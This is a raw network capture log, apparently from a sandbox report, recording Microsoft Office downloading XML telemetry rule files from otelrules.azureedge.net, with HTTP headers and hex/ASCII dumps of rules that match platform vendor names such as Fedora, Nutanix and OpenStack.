2024-11-12 09:37:19 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:19 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ab75edf1-a01e-003d-1da8-3498d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093719Z-15869dbbcc6ss7fxhC1DFWq6vs00000008u000000000866m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:19 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:19 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 100aec20-201e-006e-1215-2dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093719Z-16547b76f7f9bs6dhC1DFWt3rg0000000fd00000000090pw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:19 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 8d9254fb-301e-005d-42a5-34e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093719Z-15869dbbcc6lq2lzhC1DFWs1sn00000001e000000000cquu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:19 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 81840efa-e01e-0085-3c5a-32c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093719Z-16547b76f7fmbrhqhC1DFWkds80000000fdg00000000acz9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:19 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: d07841a0-401e-0064-490f-2d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093719Z-16547b76f7fkcrm9hC1DFWxdag0000000fe000000000f86m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:20 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 84ac84b3-801e-0078-19a1-34bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093720Z-17df447cdb54ntx4hC1DFW2k400000000c2g000000005q4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:20 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093720Z-16547b76f7f9bs6dhC1DFWt3rg0000000fa000000000e6te x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:20 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093720Z-16547b76f7fr28cchC1DFWnuws0000000fk0000000006fq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:20 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093720Z-16547b76f7fmbrhqhC1DFWkds80000000ff0000000008bdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:20 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 28b142bf-301e-0000-3ca7-34eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093721Z-15869dbbcc6tfpj2hC1DFW384c00000009c00000000014f2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:21 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: dd2a3af5-901e-0083-62a3-34bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093721Z-15869dbbcc6kg5mvhC1DFW39vn00000005yg000000003vhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:21 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:21 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: ba8c429a-801e-0047-0ea2-347265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093721Z-17df447cdb5vq4m4hC1DFW2t8w000000015g000000001867 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:22 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 